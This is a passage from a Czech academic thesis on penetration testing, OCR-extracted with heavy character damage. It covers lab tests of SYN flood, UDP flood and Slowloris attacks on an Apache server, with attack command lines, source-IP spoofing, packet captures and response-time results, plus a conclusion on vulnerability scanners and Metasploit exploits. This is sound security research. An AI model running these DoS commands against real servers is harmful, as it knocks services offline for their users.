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e Znovu restartuje Windows server, aby byl pristi tok uspésny.

e Po skon¢eni{ vSech tikonti zaviete vSsechna okna s virtudlnimi systémy a nakonec

i vSphere Client.
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8 TESTOVANI SYSTEMU VUCI POMALYM A ZAPLA-
VOVYM UTOKUM

Cilem této kapitoly je ovérit vliv tii ruznych utoku na funkcionalitu webového serveru.
Ze zaplavovych utokt budou pouzity SYN flood a UDP flood, z pomalych titoku byl zvolen
Slowloris. Pro SYN flood UDP flood byly realizovany vlastni skripty.

8.1 Popis pouzitych atokt

8.1.1 SYN flood

SYN flood zneuziva principu sestaveni TCP spojeni three-way handshake. Klient (ito¢nik)
posila serveru (obéti) zaddost o spojeni, nebo-li TCP datagram s priznakem SYN. Server
odpovidd datagramem s priznakem SYN+ACK a ocekava od klienta po urc¢ity ¢asovy in-
terval potvrzeni ACK. V této chvili je spojeni je ve stavu SYN-RECEIVED. Utoénik ale
neodpovida datagramem s priznakem ACK, ale naopak posila dalsi zadosti SYN. Témito
zadostmi pak utocénik ,zaplavuje“ server. Diky udrzovani téchto napul otevienych spo-
jeni se mohou vycCerpat paméfové prostredky serveru a nebude schopen prijimat zadosti
legitimnich uzivateli. Server se tim padem stane nedostupnym.

Existuji dvé moznosti provedeni SYN flood dtoku. Klient jednoduse nebude posilat
odpovéd ACK, anebo bude zadosti SYN posilat se zfalSovanou zdrojovou IP adresou.
Server pak posle SYN-ACK klientovi, kterému skute¢né nalezi zfalSovana IP adresa (pokud
klient existuje). Tento klient vSak zddnou zadost SYN doty¢énému serveru neposlal, a proto
nezasle ani odpovéd ACK. Pokud klient neexistuje nebo neni dostupny, i v tomto pripadé

server neobdrzi odpovéd [29].

8.1.2 UDP flood

Utoénik zahlcuje cilovy server mnoha UDP datagramy s ndhodnymi cilovimi porty. Server
pak zjistuje, zda je pozadovany port otevieny. Zjisti-li, ze tomu tak neni, odpovidd zpét
odesilateli ICMP zpravou Port Unreachable. Posilani vys$siho mnozstvi ICMP odpovedi

muze server zpomalit nebo ho u¢init nedostupnym pro ostatni klienty [35, 36].

8.1.3 Slowloris

Tento DoS 1utok je zaméfeny na znepristupnéni webovych servert a vyuziva pii tom niz-
kého datového toku. Princip utoku je takovy, Ze klient (itoénik) si udrzuje mnoho spojeni
s webovym serverem, avSak posild mu jen netplné HTTP zidosti (GET). Webovy ser-
ver pak po urcity cas udrzuje spojeni a ¢ekd na dokonceni HTTP zadosti. Tésné pred
uplynutim ¢ekaci lhity posle toc¢nik paket, ktery zajisti vynulovani pocitadla a ¢ekani
pokracuje. Server zistane postupné zahlcen ¢ekajicimi spojenimi, prestane odpovidat na

regulérni pozadavky a stane se nedostupnym.
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Tento ttok probihd na aplika¢ni vrstvé a je tézké ho odhalit. Jsou vsak webové ser-
very, které timto utokem nejsou ohrozeny (napt. I1IS7.0 lighttpd, nginx). Nachylné jsou
naopak naptiklad Apache 1.x, Apache 2.x, dhttpd [22]. Proti Slowloris titoktim dnes exis-
tuji obranné mechanizmy [15].

V této praci bude vyuzit ovéfeny puvodni skript, ktery vytvoril Robert ,Rsnake“
Hansen a pojmenoval ho Slowloris. Skript je psany v jazyce Perl a je dostupny naptiklad

na github.com [22].

8.2 Popis vytvorenych skripta

Byly vytvoreny a otestovany celkem 4 skripty:

e SYNflood.py,

e SYNflood2.py,

e UDPflood.py,

o UDPflood2.py.

Phvodné byly vytvoreny pouze skripty SYNflood.py a UDPflood.py, ale na zdkladé vy-
novany byly SYNflood2.py a UDPflood2.py. Tyto skripty maji odlisné vysledky. Hlavni
rozdily mezi nimi jsou popsané v nasledujicich bodech.

e Skript SYNflood.py — Posila v nekone¢ném cyklu TCP datagramy s priznakem SYN.
Skript umoznuje zadat libovolnou zdrojovou IP adresu, kterd miuze byt tedy podvr-
zena. Vsechny generované pakety obsahuji stejnou zdrojovou adresu a port.

e Skript SYNflood2.py — Pro kazdy paket je generovina ndhodnd zdrojova IP adresa
a ndhodny zdrojovy port.

e Skript UDPflood.py — Tento skript zahlcuje cilovy systém UDP datagramy sméro-
vanymi na jeden zadany port.

e Skript UDPflood2.py — Od skriptu UDPflood. py se lisi tim, ze kazdy UDP datagram
je posilan na jiny cilovy port.

Vsechny ¢tyri soubory jsou umistény v priloze na CD vcetné jejich strué¢ného popisu
(popis_skriptu.txt). Skripty vznikly zejména modifikacemi kédu Silvera Moona [18].
Dalsim zdrojem byly skripty Jana Hanzala [4].

8.3 Postup a popis testovani

Zapojeni stanic pro toto meéfeni je zndzornéno na obrazku 8.1 Stanice jsou propojeny
switchem Cisco. Pro generovani ttoku je vyuzit fyzicky server s operacnim systémem
Debian 7.7 Wheezy. Parametry serveru: 8jadrovy procesor Intel Xeon E5310 @1,6 GHz,
2GB RAM, NIC 1 GbE.

Jako cil iitoku je urcen webovy server Apache 2.2.22, ktery bézi na virtudlnim systému
Debian 7.7. Jednd se konkrétné o virtudlni stroj, ktery byl pouzivan v kapitolach 5 a 6

pod nazvem Debian. Webovy server se nachazi v zdkladni konfiguraci a poskytuje pouze
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jednoduchou HTML stranku o velikosti 4kB. Ochrana systému Debian proti SYN flood
utokum pomoci SYN cookies neni aktivovana (nastavit lze v /etc/sysctl.conf).

Treti stanice slouzi pro méfreni odezvy webového serveru a testovani dostupnosti webové
stranky ve webovém prohlizec¢i. Jedna se o virtualni stroj s opera¢nim systémem Windows

7, ktery slouzil v kapitolach 5 a 6 jako testovaci stanice.

swﬂch
| VMware ESXi
Server Web-server
192.168.1.177 192.168.1.187 192.168.1.183
Generovani Gtok( Méfeni odezvy Cil atoku

Obr. 8.1: Zapojeni pro métfeni DoS ttokt

Pro automatické métreni odezvy byla pouzita utilita HTTP-ping [7]. Funguje podobné
jako klasicky ping v prikazovém radku Windows, ale misto ICMP protokolu pouziva
HTTP/S. Néstroj posild v nastavitelnych intervalech HTTP pozadavky GET na cilovy
webovy server a nasledné méri ¢as, kdy dostane odpoved typu 200 OK, ktera znaci Gispésné
vyTizeni pozadavku.

Sila utoku byla stanovena odec¢itanim odeslanych paketti na sifovém rozhrani bezpro-
stfedné pred zahajenim tutoku a po skonéeni utoku. Rozdil téchto hodnot vydéleny ¢asem
trvani utoku (v sekundéch) udava pocet odeslanych paket za sekundu. Podobné byl sta-
noven odecitanim odeslanych bajtd prumérny datovy tok jednotlivych utoki.

V nasledujicich podkapitolach jsou popsany prubéhy testovani jednotlivych skripti.

8.3.1 Zaplavové SYN utoky
SYNflood.py

P1i tomto utoku byla zadédna podvrzend IP adresa 192.168.1.199, kterd byla v dobé ttoku
nevyuzita. Pfi odchytavani provozu vytvoreného SYN flood skriptu bylo zjisténo, ze jadro
Linux automaticky reaguje na prijaté pakety SYN, ACK od obéti pakety s priznakem
RST (rusi spojeni). Tim snizuje i¢inek ttoku. Zadanim falesné zdrojové IP adresy, ktera
se nepouziva se tento jev eliminuje. Dalsim FeSenim by bylo pridani pravidla do iptables,

a to zahazovani RST paket na vystupu pro urcitou cilovou adresu [18].

# python SYNflood.py 192.168.1.199 192.168.1.183 80
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Obrazek 8.2 zobrazuje prvni tfi zachycené pakety Wiresharkem, které generuje tento

skript.

12 13.520¢ 192.168.1.199 TCP 54 search-agent = http [SYN] Seq=0 Win=53270 Len=0

14 1 -1.198 54 [T Ou

Obr. 8.2: Ukazka generovanych paketi pri pouziti skriptu SYNflood.py

SYNflood2.py

Skript vyzaduje pouze cilovou IP adresu a port.

# python SYNflood2.py 192.168.1.183 80

Ukéazka generovanych paketi je vidét na obrazku 8.3. V cilovém systému Debian, se

pri tomto dtoku hromadi mnoho polootevienych TCP spojeni (obrazek 8.4).

46 60.83€ 172.30.245.171 192.168.1.183 TCP 54 25257 = http [SYN] Seq=0 Win=53270 Len=0
47 60.83€ 172.22.37.80 192.168.1.183 TCP 54 9626 = http [SYN] Seq=0 Win=53270 Len=0
48 60.83€ 172.31.241.122 192.168.1.183 TCP 54 i1mgtunnels = http [SYN] Seq=0 Win=53270 Len=0
49 £0.83€ 172.31.216.120 192.168.1.183 TCP 54 61134 = http [SYN] Seq=0 Win=53270 Len=0
50 60.837 172.24.225.189 192.168.1.183 TCP 54 17843 = http [SYN] Seq=0 Win=53270 Len=0

Obr. 8.3: Ukazka generovanych paketii pri pouziti skriptu SYNflood2.py

Obr. 8.4: Polooteviend TCP spojeni v cilovém systému pti pouziti skriptu SYNflood2.py

8.3.2 Zaplavové UDP utoky
UDPflood.py

Zamérneé je zvolen cilovy port jiny nez port 80. Pokud stanice port nepouziva, posle zpét

ICMP paket, coz je tc¢elem tohoto Utoku. Zdrojovy port bude vygenerovan ndhodné.

# python UDPflood.py 192.168.1.177 192.168.1.183 4444

Na obrazku 8.5 jsou zachyceny UDP datagramy a jedna ICMP odpovéd.
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31 25.400: 192.168.1.178 192.168.1.183 UDP 55 Source port: search-agent Destination port: distinct

Ot 168.1.183 .168.1.178 t unr
33 25.400 192.168.1.178 192.168.1.183 UDP 55 Source port: search-agent Destination port: distinct
34 25.400i 192.168.1.178 192.168.1.183 UDP 55 Source port: search-agent Destination port: distinct

Obr. 8.5: UDPflood.py: ukazka komunikace

UDPflood2.py

Pozadované parametry jsou zdrojova a cilova IP adresa.

# python UDPflood2.py 192.168.1.199 192.168.1.183

Na obrazku 8.6 je vidét, zZe cilovy port pro kazdy datagram je jiny.

Time | Source

Destination Protocol | Lengtl | Info

ICMP =% c tounr e)

1. =)
Lq 1 Source port: 43396

1. 1 tination u e)
.1 1 Source port: 51202

.1 .1.178 ar tination unre able (Port unr e)
28 30.52:2 192.168.1.178 192.168.1.183 LopP 57 Source port: 16774 Destination port: 58446
29 30.52Z 192.168.1.178 192.168.1.183 LUDP 57 Source port: 16774 Destination port: 14066
30 30.52Z 192.168.1.178 152.168.1.183 LUDP 57 Source port: 16774 Destination port: 10369
31 30.52:2 192.168.1.178 192.168.1.183 LopP 57 Source port: 16774 Destination port: 26397

Obr. 8.6: UDPflood2.py: ukazka komunikace

Slowloris

Nejprve byl otestovan timeout vzdaleného serveru. Po tuto dobu ¢eka na dokonceni hla-

vicky.

# perl slowloris.pl -dns 192.168.1.183 -p 80 -test

Zjistén byl timeout 30s. Pro uspésny utok je dulezité tuto hodnotu znat.

# perl slowloris.pl -dns 192.168.1.183 -p 80 —-timeout 30

Na obrazku 8.7 je zachyceno posilani netiplnych HTTP hlavi¢ek. Radek X-a: b\r\n

zajisti vynulovani timeoutu webového serveru pro dané spojeni.
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3736 31.752765000 192.168.1.178 192.168.1.183 HTTP 74 Continuation or non-HTTP traffic
3737 31.752855000 192.168.1.178 192.168.1.183 HTTP 74 Continuation or non-HTTP traffic
3740 31.753012000 192.168.1.178 192.168.1.183 HTTP 74 Continuation or non-HTTP traffic
3742 31.753160000 192.168.1.178 192.168.1.183 HTTP 74 Continuation or non-HTTP traffic
2744 21 FRIINSONN 114G TRR 1 17R 192 1RR 1 18R32 HTTP 74 continnatinn ar non-HTTE traffic

Fl 1

o Frame 3736: 74 bytes on wire (592 bits), 74 bytes captured (592 bits)

Ethernet II, Src: Vmware_24:99:f8 (00:0c:29:24:99:F8), Dst: Vmware_47:46:dc (00:0c:29:47:46:dc)
Internet Protocol Version 4, Src: 192.168.1.178 (192.168.1.178), Dst: 192.168.1.183 (192.168.1.183)
Transmission Control Protocol, src Port: 56711 (56711), Dst Port: http (80), seq: 239, ack: 510, Len: 8
= Hypertext Transfer Protocol

X-a: birin

Obr. 8.7: Moment, kdy Slowloris posild netplné hlavicky

8.4 Vysledky

Utoky byly provedeny jednotlivé. Zaplavové Gtoky byly generoviny po dobu 60 sekund,
Slowloris po dobu 180 sekund. Kazdé 2 sekundy byl vyslan pozadavek na zméfeni odezvy
webového serveru. V tabulce 8.1 jsou uvedeny hodnoty nameérené béhem probihajicich
utokt. V klidovém stavu, kdy neprobihal zadny utok, byla odezva vzdy nizsi nez 10 ms.
Presna hodnota neni znama, protoze HTTP-ping nezobrazuje nizsi hodnoty nez 10 ms.

Je-li odezva nizsi, pouze ji indikuje ji znakem <10ms.

Tab. 8.1: Porovnani namérenych vysledkti DoS utoku

i Uspésnost | Trvani | Min. Max. | Primérna | = Primérny
Typ ttoku/ B o Sila ttoku i
skript pozadavku | utoku | odezva | odezva odezva (paket/s) datovy tok
(%) (s) (ms) | (ms) (ms) (Mb/s)
SYNflood.py 100 60 395 732 504 151 333 76,68
SYNflood2.py 100 60 1273 | 10 086 4 803 19 172 9,8
UDPflood.py 100 60 57 558 419 150 039 76,82
UDPflood2.py 100 60 363 1920 1044 70 744 36,22
Slowloris 43 180 7176 | 32 403 18 830 71 0,082

V pribéhu zaplavovych ttokti se mnohokrat zvysila odezva webového serveru v po-
rovnéni s bé&nou maximalni hodnotou 10ms. Uspésnost HTTP pozadavki vSak zistala
vzdy 100%.

Z tabulky a z grafii na obrazku 8.8 jsou patrné rozdily mezi itoky SYNflood.py a SYN-
flood2.py. Prvni varianta, ktera zahlcuje cil s neménnym paketem, dosahuje sily utoku
priblizné 151 000 paketi/s. Prumérnd odezva webového serveru byla naméfena 504 ms.
Skript SYNflood2.py vytvaii pro kazdy paket novou hlavicku, a proto dosahuje nizsiho
vykonu. Generuje priblizné 19 000 paketti/s, avsak G¢innéji zvySuje odezvu webového ser-
veru, protoze otevird velké mnozstvi spojeni webového serveru. Primérnd odezva byla
zjisténa 4,8 sekundy. Pro srovnani, vzdaleny server www.google.com vykazuje z mériciho
PC primérnou odezvu 28 ms.

Pomoci skriptu UDPflood.py byly naméreny podobné hodnoty jako u SYNflood.py.

Sila dtoku je ptiblizné 150 000 paketi/s, prumérnd odezva 419ms, coz je jen 85 ms nizsi
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nez u SYNflood.py. Pro srovnéni byl skript upraven tak, aby byl kazdy odeslany datagram
sméfovan na jiny port cilového systému. Vysledkem je skript UDPflood.py. Z namérenych
hodnot je patrné, ze prumérnd sila ttoku se snizila na 70 000 paketi/s, ale pramérna
odezva se zvysila vice nez zdvojnasobila na pramérnou sekundu. Graficky prubéh téchto
utoku se nachézi na obrazku na obrazku 8.9.

Slowloris se ukazal jako iéinny utok pro znepristupnéni sluzby webového serveru. Bé-
hem 180sekund utoku byly ziskany pouze 3 uspésné odpoveédi serveru, avsak po dlouhé
dobé. Nejkratsi zmétfena odezva ¢ini priblizné 7 sekund, primérna se pohybuje okolo 18
sekund. Jak je zndzornéno v grafu na obrazku 8.9, vétsinu ¢asu béhem tutoku byly webové
stranky prakticky nedostupné. Slowloris generuje v porovnani se zaplavovymi ttoky mi-
nimalni datovy tok.

Webovy server se po skoncéeni kazdého z ttokt vraci béhem nékolika sekund k normal-

nimu provozu.

SYNflood.py
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Obr. 8.8: Odezvy webového serveru v zavislosti na ¢ase béhem SYN flood utoku

63



UDPflood.py
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Obr. 8.9: Odezvy webového serveru v zavislosti na ¢ase béhem UDP flood utoki a Slowloris
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9 ZAVER

Teoretickd Cast prace se vénuje seznameni s problematikou etického hackingu a penetrac-
niho testovani. Vysvétleny jsou zakladni pojmy, rozdéleni testli, metodologie testovani,
a nakonec jsou uvedeny nékteré nastroje, které lze pro testovani pouzit. Dale mél byt
vypracovan prehled pozadavki norem ISO 27000 a standardu PCI DSS. Tyto dokumenty
mohou byt voditkem pro organizace, které chtéji mit aplikované jasné postupy, jak pristu-
povat k bezpe¢nosti svych divérnych informaci. V souc¢asnosti je to v CR pro nékteré orga-
nizace povinnosti. Normy obsahuji velké mnozstvi pozadavki, které neni mozné vsechny
uvést, a proto byl vypracovan strucny popis jednotlivych bodia standardi. Na zdkladé
informaci v této praci si lze udélat predstavu, co je v téchto norméach obsazeno.

Néplni tfeti kapitoly je popis skeneru zranitelnosti Nessus, ktery je v ramci této prace
vyuzivan. Je zde uveden postup instalace, predstaveni prostredi, popis vytvareni testu
a interpretace vysledku. Podobné je zamérena ¢tvrtd kapitola vénovand distribuci Kali
Linux a nékolika bezpecnostnim nastrojim v ni obsazenym.

Dalsi ¢asti prace jsou zaméreny prakticky. Prvnim tkolem bylo odhalit zranitelnosti
v laboratorni siti pomoci péti nastroju. Pro testovani byly zvoleny nastroje Nessus, Open-
VAS, Nexpose Community, Retina Community a GFI LanGuard. Byla vytvorend virtualni
laboratorni sit obsahujici stanice s ruznymi systémy — Windows 7, Windows XP, Ubuntu,
Debian a FreeBSD. Unixové systémy plnily funkci FTP, SSH a webového serveru. Pomoci
péti zminénych néstrojua byly provedeny testy z vnitini i vnéjsi strany sité, a zdroven nepo-
vérené i poverené testy. Celkové pocty nalezenych zranitelnosti jsou shrnuty v tabulce 5.3.
Nejvice zranitelnosti bylo nalezeno nastrojem Nexpose. Dalsi v poradi nasleduje Retina
a Nessus. Na zakladé testt v této praci nelze tvrdit, ktery nédstroj je jednoznacné nejlepsi.
Vysledky nastroji Nexpose, Retina a Nessus se v mnoha zranitelnostech nejvice shoduji,
ale Nexpose a Retina identifikovaly vice jednotlivych zranitelnosti serveru Apache. Z mého
subjektivniho hlediska se nejlépe pracuje s nastrojem Nessus. Vyhodou nastroje OpenVAS
je open source licence, coz je v této kategorii softwaru spise vyjimka. Nedostacujici vy-
sledky v porovnani s ostatnimi nastroji poskytl GFI LanGuard.

Dalsim tkolem byla realizace penetracniho testu v laboratorni siti, kterda byla roz-
Sifena o zranitelny systém Metasploitable a Windows server 2008. Stanice s operac¢nimi
systémy Windows byly pfifazeny do domény. Testy byly provedeny z vnéjsi i vnitini strany
sité. Pro sbér informaci byly v rdmci penetrac¢nich testd pouzity nastroje Dmitry a Zen-
map, které tspésné identifikovaly stanice v siti, jejich oteviené porty, sluzby a operacni
systémy. Pro odhalovani zranitelnosti byl vyuzit Nessus. Diky vhodnému nastaveni SSH
serverd a domény byly ispésné provedeny povérené kontroly stanic. Povérené kontroly od-
halily u stanic vice zranitelnosti nez nepovérené. Nejrizikovejsi stanice v siti jsou Windows
XP, Metasploitable a Windows server 2008, a to zejména kvuli chybéjicim aktualizacim
a zaplatdm systému. Byla vypracovana laboratorni tloha, jejiz cilem je zneuziti dvou vy-
branych zranitelnosti. V loze je demonstrovan postup, jak s vyuzitim néstroje Metasploit

zneuzit zranitelnosti Windows server 2008 SP 1 a FTP serveru Vsftpd 2.3.4 ke vzdalenému
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pristupu do téchto systému.

Poslednim praktickym tikolem bylo otestovat odolnost systému vici zaplavovym a po-
malym tutoktm. Jako zaplavové utoky byly zvoleny SYN flood a UDP flood. Pro vykonani
téchto utoku byly realizovany vlastni skripty v jazyce Python. Jako pomaly utok byl vy-
uzit Slowloris v jeho volné dostupné implementaci v jazyce Perl. Utoky byly generovany
z fyzického serveru a smérovaly na webovy server Apache verze 2.2.22. Béhem ttoku byla
sledovana odezva webového serveru na HTTP pozadavky a jejich tispésnost. Vysledky
testovani jsou shrnuty v tabulce 8.1 a na obrazcich 8.8 a 8.9.

Prvni typy skriptt pro SYN a UDP flood dtoky zahlcuji cilovy systém s neménnymi
pakety s pozadovanym obsahem. Skript SYNflood.py generuje iitok o sile primérnych 151
000 paketii/s. UDPflood.py generuje podobné primérné 150 000 paketi/s. Datovy tok se

/N2

v pripadé obou skriptt blizi k 77 Mb/s. Béhem dtoku pomoci SYNflood.py je priamérna
odezva 504 ms, béhem tutoku s vyuzitim skriptu UDPflood.py dosahuje 419 ms. Vychozi
odezva webového serveru, pokud neprobihal zadny utok, byla zjisténa maximalné 10 ms.

Druhy typ SYN flood utoku generuje kazdy paket s jinou IP adresou a portem, a tim
padem neustéle otevird mnoho novych neuplnych TCP spojeni na cilovém serverem. Na-
sledkem je zvyseni priumérné odezvy webového serveru na 4,8 sekundy. Tento ttok je 0ci-
néjsi nez prvni typ SYN flood, ackoliv generuje prumérné 19 000 paketii/s. Také druhy
tagram je sméfovan na jiny ndhodny port webového serveru. Priumérna odezva webového
serveru pak ¢ini pfiblizné 1sekundu. Sila tohoto ttoku je prumérnych 71 000 paketii/s.

Ve vysledku docilily zaplavové utoky zvyseni odezvy webového serveru, ale nebylo
dosazeno odmitnuti sluzby (DoS). K tomu by bylo zfejmé potieba jesté vétsi sily utoku.
Toho by mohlo byt dosazeno pomoci vykonnéjsiho hardware nebo generovanim utoku
z vice zdroju soucasné.

Utok Slowloris byl spustén po dobu t¥ minut. Béhem této doby byly ziskdny pouze 3
uspésné HT'TP odpovédi webového serveru o prumérné odezvé necelych 19 sekund. Vétsinu
casu byla pozadovand webova stranka nedostupnd. Odmitnuti sluzby bylo dosazeno pii sile
utoku 71 paket/s. Potvrdilo se, ze webovy server Apache neni odolny viéi Slowloris itoku.
V ramci tohoto testu se Slowloris navzdory svému nizkému datovému toku ukézal jako

nejucinéjsi utok pro docileni odmitnuti sluzby webového serveru Apache.
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SEZNAM SYMBOLU, VELICIN A ZKRATEK

ARM

ARP

BID

BSD

CSRF

CVE

CVSS

CWE

DHCP

DMZ

DoS

DDOS

FTP

HTTP

ICMP

IDS

ISMS

ISO

NAT

NIST

OSVDB

PAN

PCI DSS

S-FTP

SMB

SSH

Advanced RISC Machine

Address Resolution Protocol

Bugtraq ID

Berkeley Software Distribution

Cross-site Request Forgery

Common Vulnerabilities and Exposures
Common Vulnerability Scoring System
Common Weakness Enumeration

Dynamic Host Configuration Protocol
Demilitarized zone

Denial of Service

Distributed Denial of Service

File Transfer Protocol

Hypertext Transfer Protocol

Internet Control Message Protocol

Systém pro odhaleni pruniku — Intrusion Detection System
Information Security Management Systems
International Organization for Standardization
Network Adress Translation

National Institute of Standards and Technology
Open Source Vulnerability Database

Primary Account Number

Payment Card Industry Data Security Standard
SSH File Transfer Protocol

Server Message Block

Secure Shell
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SSL
SQL
TCP
TNS
UID
UDP
VLAN
VPN
WEP

XSS

Secure Sockets Layer
Structured Query Language
Transmission Control Protocol
Tenable Network Security
Unique Identification Number
User Datagram Protocol
Virtual Local Area Network
Virtual Private Network
Wired Equivalent Privacy

Cross-site scripting
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